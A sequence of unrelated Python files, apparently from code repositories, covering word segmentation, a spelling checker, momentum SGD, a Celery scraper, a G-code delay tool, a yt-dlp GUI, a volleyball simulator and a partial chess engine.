            decay_steps = 1000,
            decay_rate = 0.96,

            num_epochs = 20,
            batch_size = 64,

            traininfo_every = 10,
            evaluate_every = 100,
            checkpoint_every = 500,
            output_dir = os.path.abspath(os.path.join(os.path.curdir, "model_checkout"))
          )

def train():
    with tf.Graph().as_default():
        hparams = create_hparams(FLAGS)
        cws_model = BaseModel(hparams)
        with tf.Session() as session:
            cws_model.train(session)

def infer():
    with tf.Graph().as_default():
        hparams = create_hparams(FLAGS)
        hparams.is_user_input = True
        cws_model = BaseModel(hparams)
        with tf.Session() as session:
            # in_sent = "中华人民共和国中央人民政府今天成立了。"
            while True:
                in_sent = input("\n====== in_sent: ")
                chars = list(utils.strQ2B(in_sent).strip())
                chars_length = len(chars)
                char_ids = [vocab.chr2id.get(chr, vocab.OOV_ID) for chr in chars]

                tags, scores = cws_model.infer(session, [char_ids], [chars_length])
                print("------ score: %s ------" % scores[0])
                for item in zip(chars, tags[0].tolist()):
                    print(item[0], vocab.id2tag[item[1]])

def main(args):
    if FLAGS.mode == "train":
        train()
    elif FLAGS.mode == "infer":
        infer()

if __name__ == "__main__":
    tf.app.run()


import re

def main():
    text = str(input("Enter the text: "))
    text = re.sub('[^A-Za-z]', ' ', text)
    misspelled = []
    for word in text.split(' '):
        print(f"Checking {word}")
        if is_misspelled(word):
            misspelled.append(word)
    print(misspelled)

def is_misspelled(word:str) -> bool:
    #Define vowels
    vowels = ['a','e','i','o','u']
    #Check if word is empy string
    if len(word) == 0:
        return False
    #Check if word is only a vowel
    if len(word) == 1 and word in vowels:
        return False
    #Check if differnce in number of vowels and non-vowels is less or equal to 1
    vowels_list = list(filter(lambda x: x in vowels, list(word)))
    non_vowels_list = list(filter(lambda x: x not in vowels, list(word)))
    if abs(len(vowels_list) - len(non_vowels_list)) > 1:
        return True
    #Check if word starts with vowel and if it does it's len must be an odd number
    word_list = list(word)
    #If first char is vowel, the second one must be non vowel
    if word_list[0] in vowels:
        if len(word_list) % 2 == 0:
            return True
        #In this case every odd index should be non vowel
        for i in range(0, len(word)):
            if not i % 2 == 0:
                if word_list[i] in vowels:
                    return True
            elif i % 2 == 0:
                if not word_list[i] in vowels:
                    return True
    elif not word_list[0] in vowels:
        if not len(word_list) % 2 == 0:
            return True
        for i in range(0, len(word)):
            if not i % 2 == 0:
                if not word_list[i] in vowels:
                    return True
            elif i % 2 == 0:
                if  word_list[i] in vowels:
                    return True
    return False

if __name__ == "__main__":
    main()


import torch
import sys
sys.path.append("..")
import utils

"""
梯度下降的问题
对于多维梯度下降, 可能在某个方向下降较快, 另一个方向下降较慢.
"""
def f_2d(x1, x2):
    return 0.1 * x1 ** 2 + 2 * x2 **2

"""
动量法
VdW = βVdW + (1-β)dW # 指数加权平均
Vdb = βVdb + (1-β)db
W := W - αVdW, b := b - αVdb
"""
def momentum_2d(x1, x2, v1, v2):
    v1 = gamma * v1 + eta * 0.2 * x1
    v2 = gamma * v2 + eta * 4 * x2
    return x1 - v1, x2 - v2, v1, v2

eta, gamma = 0.4, 0.5
utils.show_trace_2d(f_2d, utils.train_2d(momentum_2d))

"""
从零开始实现
"""
features, labels = utils.get_data_ch7()

def init_momentum_states():
    v_w = torch.zeros((features.shape[1], 1), dtype=torch.float)
    v_b = torch.zeros(1, dtype=torch.float)
    return (v_w, v_b)

def sgd_momentum(params, states, hyperparams):
    for p, v in zip(params, states):
        v.data = hyperparams['momentum'] * v.data + hyperparams['lr'] * p.grad.data
        p.data -= v.data

utils.train_ch7(sgd_momentum, init_momentum_states(), {'lr':0.02, 'momentum':0.5},
    features, labels)
utils.train_ch7(sgd_momentum, init_momentum_states(), {'lr':0.02, 'momentum':0.9},
    features, labels) # 不够平滑
utils.train_ch7(sgd_momentum, init_momentum_states(), {'lr':0.004, 'momentum':0.9},
    features, labels)

"""
简洁实现
"""
# 指定SGD的momentum即可实现动量法
utils.train_pytorch_ch7(torch.optim.SGD, {'lr':0.004, 'momentum':0.9}, features, labels)


with open('input.txt', 'rt') as f:
    input_data = f.readlines()

seat_ids = []
for seat in input_data:
    row = int(seat[0:7].strip().replace('F', '0').replace('B', '1'), 2)
    col = int(seat[-4:].strip().replace('L', '0').replace('R', '1'), 2)
    seat_id = (row * 8) + col
    seat_ids.append((seat.strip(), row, col, seat_id))

print("Highest seat ID:", max([x[3] for x in seat_ids]))


#!/usr/bin/python3

'''
    Module - almost a circle
'''
from models.base import Base

class Rectangle(Base):

    ''' Class Rectangle that inherits from Base
        private instance attributes each with its own setters and getters
    '''

    def __init__(self, width, height, x=0, y=0, id=None):
        ''' class constructor '''
        super().__init__(id)
        self.__width = width
        self.__height = height
        self.__x = x
        self.__y = y

    @property
    def width(self):
        ''' getter for width. Returns width '''
        return self.__width

    @width.setter
    def width(self, value):
        ''' setter for width.
            Raise: TypeError if input is not an integer
            ValueError if input is under or equals to 0
        '''
        if not isinstance(value, int):
            raise TypeError("width must be an integer")
        if value <= 0:
            raise ValueError("width must be > 0")
        self.__width = value

    @property
    def height(self):
        ''' getter for height. Returns height '''
        return self.__height

    @height.setter
    def height(self, value):
        ''' setter for height.
            Raise: TypeError if input is not an integer
            ValueError if input is under or equals to 0
        '''
        if type(value) != int:
            raise TypeError("height must be an integer")
        if value <= 0:
            raise ValueError("height must be > 0")
        self.__height = value

    @property
    def x(self):
        ''' getter for x. Returns x '''
        return self.__x

    @x.setter
    def x(self, value):
        ''' setter for x.
            Raise: TypeError if input is not integer
                   ValueError if input is under 0
        '''
        if type(value) != int:
            raise TypeError("x must be an integer")
        if value < 0:
            raise ValueError("x must be >= 0")
        self.__x = value

    @property
    def y(self):
        ''' getter for y. Returns y '''
        return self.__y

    @y.setter
    def y(self, value):
        ''' setter for y.
            Raise: TypeError if input is not an integer
                   ValueError if input is under 0
        '''
        if type(value) != int:
            raise TypeError("y must be an integer")
        if value < 0:
            raise ValueError("y must be >= 0")
        self.__y = value

    def area(self):
        ''' area returns the area value of the Rectangle instance '''
        return (self.__width * self.__height)

    def display(self):
        ''' prints to stdout the Rectangle instance with '#' '''
        rect = ''
        symbol = '#'

        '''for i in range(self.__height - 1):
            rect += symbol * self.__width + '\n'
        rect += symbol * self.__width
        print('{}'.format(rect)) '''

        print('\n' * self.__y, end='')
        for i in range(self.__height):
            rect += (' ' * self.__x) + (symbol * self.__width) + '\n'
        print(rect, end='')

    def __str__(self):
        ''' __str__ method that returns;
            [Rectangle] (<id>) <x>/<y> - <width>/<height>
        '''
        return "[{}] ({}) {}/{} - {}/{}".format(type(self).__name__, self.id,
                                                self.__x, self.__y,
                                                self.__width, self.__height)

    def update(self, *args, **kwargs):
        ''' assigns an argument to each attribute:
            1st arg should be id
            2nd arg should be width
            3rd arg should be height
            4th arg should be x
            5th arg should be y
        '''
        if len(args) == 0:
            for key, val in kwargs.items():
                self.__setattr__(key, val)
        try:
            self.id = args[0]
            self.width = args[1]
            self.height = args[2]
            self.x = args[3]
            self.y = args[4]
        except IndexError:
            pass

    def to_dictionary(self):
        ''' Returns the dictionary representation of a Square '''
        return {'x': getattr(self, 'x'),
                'y': getattr(self, 'y'),
                'id': getattr(self, 'id'),
                'height': getattr(self, 'height'),
                'width': getattr(self, 'width')}


"""
Scrapper celery tasks
"""
import requests
from celery import Celery

import config
from libs import advert, page
from logmodule import get_logger

LOGGER = get_logger(__name__)

APP = Celery('tasks', broker=config.RABBIT_URL)

def put_ids_to_queue(ids_list):
    """
    Pushes list of advert ids to celery queue
    """
    LOGGER.debug('pushing %s ads to the queue', len(ids_list))
    for advert_id in ids_list:
        fetch_single_advert.delay(advert_id)

@APP.task(rate_limit='28/m', bind=True, default_retry_delay=60 * 60)
def fetch_single_advert(self, rid):
    """
    Fetching single advert
    """
    try:
        advert.fetch_advert(rid, persist=True)
    except requests.exceptions.HTTPError as exc:
        crawler_banned = exc.response.status_code == 403
        if crawler_banned:
            LOGGER.error('seems like we got banned (403), retrying in 1h')
            self.retry()
        LOGGER.error(exc)
    except AttributeError:
        LOGGER.error('Body parse error on %s', rid)

@APP.task(rate_limit='28/m', default_retry_delay=60 * 60)
def iterate_over_search_results(page_num=1):
    """
    Going through pagination results
    """
    LOGGER.info('fetching page %s', page_num)
    try:
        page_body = page.get_sresults_page(page_num)
    except requests.exceptions.HTTPError as exc:
        if exc.response.status_code == 403:
            # self.retry()
            return

    search_result_adverts = advert.extract_advert_ids_from_search_result_page(page_body)
    put_ids_to_queue(search_result_adverts)

    next_page, pages_count = page.get_sresults_pages_info(page_body)
    if next_page > pages_count:
        return

    iterate_over_search_results.delay(next_page)


#!/usr/bin/python3
# Version 1.0
# 18.10.2019
# Author Klaus-Dieter Sohn
# Repository: https://github.com/kdsohn/modwait
# Description: https://github.com/kdsohn/modwait/blob/master/README.md

import fileinput
import sys
import math

class delaylayer:
    minlayertime = 90
#    waitoffset1 = "dl.z+5,1000"
#    waitoffset2 = "dl.x-20, dl.y+20, dl.z+5"
    waitoffset2 = "dl.x-20, dl.y+20"
    doit_prusa = False
    doit_s3d = False
    layertime = 0
    maxlayertime = 90
    printtime = 0
    first = True
    x = 0
    y = 0
    z = 0
    f = 1
    alt_x = 0
    alt_y = 0
    alt_z = 0
    total_wait = 0
    mylines = []

    def print_delay(dl):
        dl.doit_prusa = False
        dl.doit_s3d = False
        x = int(dl.minlayertime - dl.layertime)
        if (x > 0):
            if not dl.first:
#                exec("fo.write(\"G1 X%.3f Y%.3f Z%.3f\\n\" %(" + dl.waitoffset2 + "))")
                exec("dl.mylines.append(\"G1 X%.3f Y%.3f\\n\" %(" + dl.waitoffset2 + "))")
                dl.total_wait += x
                dl.mylines.append("G4 S%d\n" %(x))
#                fo.write("G1 X%.3f Y%.3f Z%.3f\n" %(dl.x,dl.y,dl.z))
                dl.mylines.append("G1 X%.3f Y%.3f\n" %(dl.x,dl.y))
                dl.printtime += dl.minlayertime
        else:
            dl.mylines.append(";Layertime: %d\n" %(dl.layertime))
            if dl.layertime > dl.maxlayertime:
                dl.maxlayertime = dl.layertime
            dl.printtime += dl.layertime
        dl.layertime = 0
        dl.first = False

    def process_line_1(dl,line):
    #    print(line,line.find('M106'))

        line_ori = line
        line = line.upper()

        if line.find('G28') != -1:
            dl.x = 0
            dl.y = 0
            dl.z = 0

        if line.find('G1 E0.0000') != -1 and dl.doit_s3d == 1:
            dl.print_delay()

        dl.mylines.append(line_ori)

        if line.find('G1') == 0:
    #        print("Line",line)
            if line.find(';') != -1:
                line1,comment = line.split(";",1);
            else:
                line1 = line
            line1 = line1.upper()
            args = line1.split()
            for arg in args:
    #            print("Arg",arg)
                s1,s2,val = arg.partition('X')
                if s2 == 'X':
                    dl.x = float(val)
                s1,s2,val = arg.partition('Y')
                if s2 == 'Y':
                    dl.y = float(val)
                s1,s2,val = arg.partition('Z')
                if s2 == 'Z':
                    dl.z = float(val)
                s1,s2,val = arg.partition('F')
                if s2 == 'F':
                    dl.f = float(val) / 60
            distance = math.sqrt(math.pow(dl.x-dl.alt_x,2)+math.pow(dl.y-dl.alt_y,2)+math.pow(dl.z-dl.alt_z,2))
            dl.layertime += distance / dl.f
            dl.alt_x = dl.x
            dl.alt_y = dl.y
            dl.alt_z = dl.z
            if dl.doit_prusa:
                dl.print_delay()

        if line.find('MINLAYERTIME') in(1,2):
            s1,s2,x = line.rpartition(',');
            dl.minlayertime = float(x)
            dl.maxlayertime = dl.minlayertime

        if line.find('FEATURE PRIME PILLAR') != -1: # S3D mit Prime Pillar
            dl.doit_s3d = True
        if line.find('AFTER_LAYER_CHANGE') != -1:   # Prusa entry after layer change
            dl.doit_prusa = True

    def process_line_2(dl,line,fo):
        line_ori = line
        line = line.upper()
        if line.find('M73') == 0:
            line_ori = ""
            if line.find(';') != -1:
                line1,comment = line.split(";",1);
            else:
                comment = ""
                line1 = line
            args = line1.split()
            for arg in args:
    #            print("Arg",arg)
                s1,s2,val = arg.partition('R')
                if s2 == 'R':
                    R = float(val)
                    arg = "R%d" % (R + dl.total_wait / 60)
                s1,s2,val = arg.partition('S')
                if s2 == 'S':
                    S = float(val)
                    arg = "S%d" % (S + dl.total_wait / 60)
                line_ori += arg + " "
            if comment != "":
                line_ori += ";" + comment
            line_ori = line_ori.rstrip() + "\n"
            fo.write(line_ori)
            return

        if line.find('G4') == 0:
            if line.find(';') != -1:
                line1,comment = line.split(";",1);
            else:
                line1 = line
            args = line1.split()
            for arg in args:
    #            print("Arg",arg)
                s1,s2,val = arg.partition('S')
                if s2 == 'S':
                    dl.total_wait -= float(val)
        fo.write(line_ori)

def main():
    dl = delaylayer()
    if len(sys.argv) < 2:
        fi = sys.stdin
        fo = sys.stdout
    else:
        filein = sys.argv[1];
        fi = open(filein,"r")
        if len(sys.argv) < 3:
            s1,s2,s3 = filein.rpartition('.')
            fileout = s1 + "-w" + s2 + s3
        else:
            fileout = sys.argv[2];
        fo = open(fileout,"w")

    for line in fi:
        dl.process_line_1(line)

    for line in dl.mylines:
        dl.process_line_2(line,fo)

    print("; Min layer time",int(dl.minlayertime),"seconds")
    print("; Print time",int(dl.printtime/60), "minutes =",float(dl.printtime/3600),"hours")
    print("; Max layer time",int(dl.maxlayertime),"seconds")
    fi.close()
    fo.close()

main()


import PySimpleGUI as sg
import sys, yt_dlp, music_tag

errors = 0
currently_downloading = False

def what_is(url):
    # Work around to printing errors to the console
    global errors
    errors = ""

    class ignoreErrors:
        @staticmethod
        def error(msg):
            global errors
            errors += msg

        @staticmethod
        def warning(msg):
            pass

        @staticmethod
        def debug(msg):
            pass

    ydl_opts = {'skip_download': True, 'ignoreerrors': True, 'quiet': True, "logger": ignoreErrors, 'extract_flat': True, 'playlistend': 2}

    with yt_dlp.YoutubeDL(ydl_opts) as ydl:
        ydl.extract_info(url, False)

    if errors:
        return errors

    if 'playlist' in url:
        return 'playlist'
    else:
        return 'vid'

def set_audio_metadata(data, t):
    if t == 'v':
        f = music_tag.load_file(data['requested_downloads'][0]['filepath'])

        fields = ['track', 'artist', 'album', 'release_year']

        for i in fields:
            if data.get(f'{i}'):
                if i == 'track':
                    f['tracktitle'] = data['track']
                    print(data['track'])
                elif i == 'release_year':
                    f['year'] = data[f'{i}']
                    print(data[f'{i}'])
                else:
                    f[f'{i}'] = data[f'{i}']
                    print(data[f'{i}'])

        f.save()

    else:
        songs = data['entries']

        for song in songs:
            f = music_tag.load_file(song['requested_downloads'][0]['filepath'])

            fields = ['track', 'artist', 'album', 'release_year']

            for i in fields:
                if song.get(f'{i}'):
                    if i == 'track':
                        f['tracktitle'] = song['track']
                        print(song['track'])
                    elif i == 'release_year':
                        f['year'] = song[f'{i}']
                        print(song[f'{i}'])
                    else:
                        f[f'{i}'] = song[f'{i}']
                        print(song[f'{i}'])

            f.save()

def download_video(url, t, path):
    if t == 'Audio':
        ydl_opts = {
            'ffmpeg_location': 'C:/ffmpeg/bin',
            'format': 'bestaudio/best',
            'audioformat': 'mp3',
            'outtmpl': f'{path}/%(title)s.%(ext)s',
            'postprocessors': [{
                'key': 'FFmpegExtractAudio',
                'preferredcodec': 'mp3',
            }]
        }
    else:
        ydl_opts = {
            'format': 'mp4/bestvideo/best',
            'outtmpl': f'{path}/%(title)s.%(ext)s',
        }

    with yt_dlp.YoutubeDL(ydl_opts) as ydl:
        metadata = ydl.extract_info(url)

    if t == 'Audio':
        set_audio_metadata(metadata, 'v')

def download_playlist(url, t, path, s, e):
    if t == 'Audio':
        ydl_opts = {
            'ffmpeg_location': 'C:/ffmpeg/bin',
            'format': 'bestaudio/best',
            'outtmpl': f'{path}/%(title)s.%(ext)s',
            'audioformat': 'mp3',
            'playliststart': s,
            'playlistend': e,
            'postprocessors': [{
                'key': 'FFmpegExtractAudio',
                'preferredcodec': 'mp3',
            }]
        }
    else:
        ydl_opts = {
            'format': 'mp4/bestvideo/best',
            'outtmpl': f'{path}/%(title)s.%(ext)s',
            'playliststart': s,
            'playlistend': e,
        }

    with yt_dlp.YoutubeDL(ydl_opts) as ydl:
        metadata = ydl.extract_info(url)

    print(metadata)

    if t == 'Audio':
        set_audio_metadata(metadata, 'p')

# Create the Window
vid_layout = [[sg.Text('YouTube URL:', font=('Helvetica', 20)), sg.Input(key='url', font=('Helvetica', 20))]]
playlist_layout = [[sg.Text('Youtube Playlist:', font=('Helvetica', 20)),
                    sg.Input(key='list_url', font=('Helvetica', 20))],
                   [sg.Text('Start Index:', font=('Helvetica', 20)), sg.Push(),
                    sg.Input('Blank for first', key='start_idx', font=('Helvetica', 20), s=15), sg.Push(),
                    sg.Text('End Index:', font=('Helvetica', 20)), sg.Push(),
                    sg.Input('Blank for last', key='end_idx', font=('Helvetica', 20), s=15)]]

layout = [[sg.Text('Youtube Downloader', font=('Helvetica', 40))],
          [sg.Column(vid_layout, key='vid'), sg.Column(playlist_layout, key='playlist', visible=False)],
          [sg.Push(), sg.Text('Select Folder: ', font=('Helvetica', 20)),
           sg.Input(key='fpath', font=('Helvetica', 20), s=41), sg.FolderBrowse(font=('Helvetica', 15))],
          [sg.Combo(['Video', 'Audio'], key='type', font=('Helvetica', 20)),
           sg.Button('Download', font=('Helvetica', 15)),
           sg.Button('Playlist Toggle', key='toggle', font=('Helvetica', 15)),
           sg.Cancel('Exit', font=('Helvetica', 15))]]

window = sg.Window('Youtube Downloader', layout)
cur_layout = 'vid'

# Start loop
while True:
    # Read window
    event, values = window.read(timeout=1)
    if event == sg.WIN_CLOSED or event == 'Exit':
        break

    if event == 'toggle':
        if cur_layout == 'playlist':
            window['playlist'].update(visible=False)
            window['vid'].update(visible=True)
            cur_layout = 'vid'
        else:
            window['playlist'].update(visible=True)
            window['vid'].update(visible=False)
            cur_layout = 'playlist'

    if event == 'Download':
        if values['type'] and values['fpath']:
            print(what_is(values['url']))
            if cur_layout == what_is(values['url']) and cur_layout == 'vid':
                download_video(values['url'], values['type'], values['fpath'])
                print('yes')
            elif cur_layout == what_is(values['list_url']) and cur_layout == 'playlist':
                print('yes')
                start = None
                end = None
                if not values['start_idx']:
                    start = 1
                if not values['end_idx']:
                    end = -1

                if start is None:
                    try: start = int(values['start_idx'])
                    finally: pass
                if end is None:
                    try: end = int(values['end_idx'])
                    finally: pass

                if start is not None and end is not None:
                    download_playlist(values['list_url'], values['type'], values['fpath'], start, end)

window.close()
sys.exit()


import justpy as jp
import random

async def my_click(self, msg):
    self.color = random.choice(['primary', 'secondary', 'accent', 'dark', 'positive',
                                'negative','info', 'warning'])
    self.label = self.color
    msg.page.dark = not msg.page.dark
    await msg.page.set_dark_mode(msg.page.dark)

html_string = """
  <div class="q-pa-md q-gutter-y-sm">
    <q-toolbar class="text-primary">
      <q-btn flat round dense icon="menu" />
      <q-toolbar-title>
        Toolbar
      </q-toolbar-title>
      <q-btn flat round dense icon="more_vert" />
    </q-toolbar>
"""

def quasar_example():
    wp = jp.QuasarPage(dark=True)  # Load page in dark mode
    # bar = jp.Div(classes='q-pa-md q-gutter-y-sm', a=wp)
    # jp.Qtoolbar(classes='text-primary', a=bar)
    c = jp.parse_html(html_string, a=wp)

    d = jp.Div(classes='q-pa-md q-gutter-sm', a=wp)

    jp.QBtn(color='primary', icon='mail', label='On Left',
            a=d, click=my_click)
    jp.QBtn(color='secondary', icon_right='mail', label='On Right',
            a=d, click=my_click)
    jp.QBtn(color='red', icon='mail', icon_right='send',
            label='On Left and Right', a=d, click=my_click)
    jp.Br(a=d)
    jp.QBtn(icon='phone', label='Stacked', stack=True, glossy=True, color='purple', a=d, click=my_click)
    return wp

jp.justpy(quasar_example)


# Rules:
# 1. To win the match, a team must win 3 sets.
# 2. To win a set, a team must win at least 25 points with a 2-points margin minimum, e.g. 25-27, 24-26, 28-26.
# 4. Team 1 starts serving in set 1, Team 2 starts serving in set 2, Team 1 starts serving in set 3, and so on.
# 5. The team that won the previous point serves for the next point, unless the set is just starting.

from random import random
from time import time

def printInfo():
    '''
    function:  print information about the program
    '''
    print("{:*^70}".format(" product introduction "))
    print(" the product name ：  volleyball competition simulation analyzer ")
    print(" product overview ：  by entering 2 teams A and b's ability value (0 decimal representation between pi and 1 )， able to simulate 2 teams multiple times A a volleyball match against b ， to figure out their winning percentage ！")
    print(" products of the author ：  step ordinary - 04")
    print("{:*^70}".format(" simulation start "))

def getInputs():
    '''
    function:  get the parameters entered by the user
    '''
    probA = eval(input(" please enter the capability value of team a (0~1)："))
    probB = eval(input(" please enter the capability value of team b (0~1)："))
    n = eval(input(" please enter the number of matches you want to simulate ："))
    return probA, probB, n

def printResult(n, winsA, winsB):
    '''
    function:  output the results of simulated matches
    '''
    print("{:*^70}".format(" end of the simulation "))
    print(" competition analysis begins, total simulation {} games. ".format(n))
    print(">>> team a wins {} a match, a share {:0.1%}".format(winsA, winsA/n))
    print(">>> team b wins {} a match, a share {:0.1%}".format(winsB, winsB/n))

def simNGames(n, probA, probB):
    '''
    function:  simulate n games
    n:  simulate n games
    probA, probB:  are team a and B the ability to value
    winA, winB:  team a and B the number of innings won in a game
    winsA, winsB:  team a and B number of games won, total n field
    '''
    winsA, winsB = 0, 0
    for _ in range(n):
        winA, winB = simOneGame(probA, probB)
        if winA > winB:
            winsA += 1
        else:
            winsB += 1
    return winsA, winsB

def simOneGame(probA, probB):
    '''
    function:  simulate a game, including five rounds ， the best-of-five system is adopted
   probA, probB：  are team a and B the ability to value
   return:  return to team a and B the number of games won in the game
   scoreA, scoreB:  are team a and B the score of a game
    winA, winB:  are team a and B the number of games won
    N:  represents the game's innings
    '''
    winA, winB = 0, 0
    for N in range(5):
        serving = 'B' if N % 2 == 0 else 'A'
        scoreA, scoreB = simAGame(N, probA, probB, serving)
    if scoreA > scoreB:
        winA += 1
    else:
        winB += 1
    if winA == 3 or winB == 3:
        return winA, winB

def simAGame(N, probA, probB, serving):
    '''
    function:  simulated game
    N:  represents the game's innings
    probA, probB：  are team a and B the ability to value
    return:  return to team a and B points won in a competition
    '''
    scoreA, scoreB = 0, 0  # are team a and B the score of a game
    while not GameOver(N, scoreA, scoreB):
        if serving == 'A':
            if random() > probA:
                scoreB += 1
                serving = 'B'
            else:
                scoreA += 1
        else:
            if random() > probB:
                scoreA += 1
                serving = 'A'
            else:
                scoreB += 1
    return scoreA, scoreB

def GameOver(N, scoreA, scoreB):
    # '''
    # function:  define the end conditions of a match
    # N:  represents the current game ( the fifth game was a decider )
    # return:  true if the end of match condition is true, false otherwise
    # '''
    if N <= 4:
        return (scoreA >= 25 and abs(scoreA-scoreB) >= 2) or (scoreB >= 25 and abs(scoreA-scoreB) >= 2)
    else:
        return (scoreA >= 15 and abs(scoreA-scoreB) >= 2) or (scoreB >= 15 and abs(scoreA-scoreB) >= 2)

if __name__ == "__main__":
    printInfo()
    probA, probB, n = getInputs()
    Time = time()
    winsA, winsB = simNGames(n, probA, probB)
    print(" simulation time : {:.1f}s".format(time()-Time))
    printResult(n, winsA, winsB)


from TestDLL import getBitsCount, getPower, numSplit
from random import randint
from time import perf_counter
from Engine import GameState, Move, bbOfRows, bbOfColumns, bbOfCorrections, bbOfCenter, COLORS, CASTLE_SIDES, pieceScores
from multiprocessing import Queue

CHECKMATE = 100000
STALEMATE = 0
DEPTH = 4
R = 1 if DEPTH <= 3 else 2
nextMove = None
counter = 0
hashTableForBestMoves = {}
hashTableForValidMoves = {}
killerMoves = {}
posMargin = {1: 350, 2: 800}

knightPositionScore = [[1, 2, 1, 1, 1, 1, 2, 1],
                       [1, 2, 2, 2, 2, 2, 2, 1],
                       [1, 2, 3, 3, 3, 3, 2, 1],
                       [1, 2, 3, 4, 4, 3, 2, 1],
                       [1, 2, 3, 4, 4, 3, 2, 1],
                       [1, 2, 3, 3, 3, 3, 2, 1],
                       [1, 2, 2, 2, 2, 2, 2, 1],
                       [1, 2, 1, 1, 1, 1, 2, 1]]
bishopPositionScore = [[3, 2, 2, 1, 1, 2, 2, 3],
                       [2, 4, 3, 3, 3, 3, 4, 2],
                       [2, 3, 3, 3, 3, 3, 3, 2],
                       [2, 3, 3, 3, 3, 3, 3, 2],
                       [2, 3, 3, 3, 3, 3, 3, 2],
                       [2, 3, 3, 3, 3, 3, 3, 2],
                       [2, 4, 3, 3, 3, 3, 4, 2],
                       [3, 2, 2, 1, 1, 2, 2, 3]]
queenPositionScore = [[1, 1, 1, 2, 1, 1, 1, 1],
                      [1, 1, 2, 2, 1, 1, 1, 1],
                      [1, 2, 1, 2, 1, 1, 1, 1],
                      [1, 1, 1, 2, 1, 1, 1, 1],
                      [1, 1, 1, 2, 1, 1, 1, 1],
                      [1, 2, 1, 2, 1, 1, 1, 1],
                      [1, 1, 2, 2, 1, 1, 1, 1],
                      [1, 1, 1, 2, 1, 1, 1, 1]]
rookPositionScore = [[3, 3, 3, 3, 3, 3, 3, 3],
                     [2, 2, 2, 2, 2, 2, 2, 2],
                     [2, 2, 2, 2, 2, 2, 2, 2],
                     [1, 2, 2, 2, 2, 2, 2, 1],
                     [1, 2, 2, 2, 2, 2, 2, 1],
                     [2, 2, 2, 2, 2, 2, 2, 2],
                     [2, 2, 2, 2, 2, 2, 2, 2],
                     [3, 3, 3, 3, 3, 3, 3, 3]]
whitePawnPositionScore = [[6, 6, 6, 6, 6, 6, 6, 6],
                          [5, 5, 5, 5, 5, 5, 5, 5],
                          [4, 4, 4, 4, 4, 4, 4, 4],
                          [3, 3, 3, 4, 4, 3, 3, 3],
                          [1, 2, 2, 4, 4, 2, 2, 1],
                          [2, 1, 2, 3, 3, 1, 1, 2],
                          [1, 1, 1, 0, 0, 1, 1, 1],
                          [0, 0, 0, 0, 0, 0, 0, 0]]
blackPawnPositionScore = [[0, 0, 0, 0, 0, 0, 0, 0],
                          [1, 1, 1, 0, 0, 1, 1, 1],
                          [2, 1, 2, 3, 3, 1, 1, 2],
                          [1, 2, 2, 4, 4, 2, 2, 1],
                          [3, 3, 3, 4, 4, 3, 3, 3],
                          [4, 4, 4, 4, 4, 4, 4, 4],
                          [5, 5, 5, 5, 5, 5, 5, 5],
                          [6, 6, 6, 6, 6, 6, 6, 6]]

piecePositionScores = {"Q": queenPositionScore, "R": rookPositionScore, "B": bishopPositionScore,
                       "N": knightPositionScore, "bp": blackPawnPositionScore, "wp": whitePawnPositionScore}

def randomMoveAI(validMoves: list) -> Move:
    return validMoves[randint(0, len(validMoves) - 1)]

def negaScoutMoveAI(gameState: GameState, validMoves: list, returnQ: Queue):
    global nextMove, counter
    nextMove = None
    counter = 0
    start = perf_counter()
    if validMoves is not None:
        if len(validMoves) > 8:
            for d in range(DEPTH):
                currentDepth = d + 1
                score = negaScoutAI(gameState, validMoves, -CHECKMATE - 1, CHECKMATE + 1, 1 if gameState.whiteTurn else -1, currentDepth, currentDepth, len(validMoves))
                if score == CHECKMATE:
                    break
        else:
            negaScoutAI(gameState, validMoves, -CHECKMATE - 1, CHECKMATE + 1, 1 if gameState.whiteTurn else -1, DEPTH, DEPTH, len(validMoves))
    thinkingTime = perf_counter() - start
    returnQ.put((nextMove, thinkingTime, counter))

def oneDepthSearch(gameState: GameState, validMoves: list, turn: int, depth: int):
    for move in validMoves:
        if depth in killerMoves:
            if move.moveID == killerMoves[depth]:
                move.isKiller = True
        if not move.goodScore:
            gameState.makeMove(move)
            move.estimatedScore = turn * scoreBoard(gameState, validMoves)
            gameState.undoMove()

def negaScoutAI(gameState: GameState, validMoves: list, alpha: int, beta: int, turn: int, depth: int, globalDepth: int, globalLength: int):
    global nextMove, counter
    counter += 1
    if depth <= 0 or gameState.checkmate:
        return turn * scoreBoard(gameState, validMoves)
    oneDepthSearch(gameState, validMoves, turn, depth)
    validMoves.sort(key=lambda mov: mov.estimatedScore, reverse=True)
    validMoves.sort(key=lambda mov: mov.isKiller, reverse=True)
    silentMoveCounter = 21
    for move in validMoves:
        if not silentMoveCounter:
            break
        gameState.makeMove(move)
        inTable = False
        score = 0
        if (gameState.boardHash, gameState.whiteTurn) in hashTableForBestMoves:
            if hashTableForBestMoves[(gameState.boardHash, gameState.whiteTurn)][0] >= depth:
                score = hashTableForBestMoves[(gameState.boardHash, gameState.whiteTurn)][1]
                move.goodScore = True
                inTable = True
        if not inTable:
            if (gameState.boardHash, gameState.whiteTurn) in hashTableForValidMoves:
                nextMoves = hashTableForValidMoves[(gameState.boardHash, gameState.whiteTurn)]
            else:
                nextMoves = gameState.getValidMoves()
                hashTableForValidMoves[(gameState.boardHash, gameState.whiteTurn)] = nextMoves
            if depth == DEPTH or move.isCapture or gameState.isWhiteInCheck or gameState.isBlackInCheck:
                score = -negaScoutAI(gameState, nextMoves, -beta, -alpha, -turn, depth - 1, globalDepth, globalLength)
            else:
                silentMoveCounter -= 1
                score = -negaScoutAI(gameState, nextMoves, -alpha - 1, -alpha, -turn, depth - R, globalDepth, globalLength)
                if alpha < score < beta:
                    score = -negaScoutAI(gameState, nextMoves, -beta, -score, -turn, depth - 1, globalDepth, globalLength)
        gameState.undoMove()
        prevAlpha = alpha
        if score > alpha:
            alpha = score
            if (gameState.boardHash, gameState.whiteTurn) in hashTableForBestMoves:
                if depth > hashTableForBestMoves[(gameState.boardHash, gameState.whiteTurn)][0]:
                    hashTableForBestMoves[(gameState.boardHash, gameState.whiteTurn)] = (depth, score)
                if depth == hashTableForBestMoves[(gameState.boardHash, gameState.whiteTurn)][0] and score > hashTableForBestMoves[(gameState.boardHash, gameState.whiteTurn)][1]:
                    hashTableForBestMoves[(gameState.boardHash, gameState.whiteTurn)] = (depth, score)
            else:
                hashTableForBestMoves[(gameState.boardHash, gameState.whiteTurn)] = (depth, score)
            if depth == globalDepth:
                move.exactScore = score
                move.estimatedScore = score
                move.goodScore = True
                nextMove = move
                if depth == DEPTH:
                    print(move, score)
        if alpha >= beta:
            killerMoves[depth] = move.moveID
            break
        if depth <= 2 and globalLength > 8:
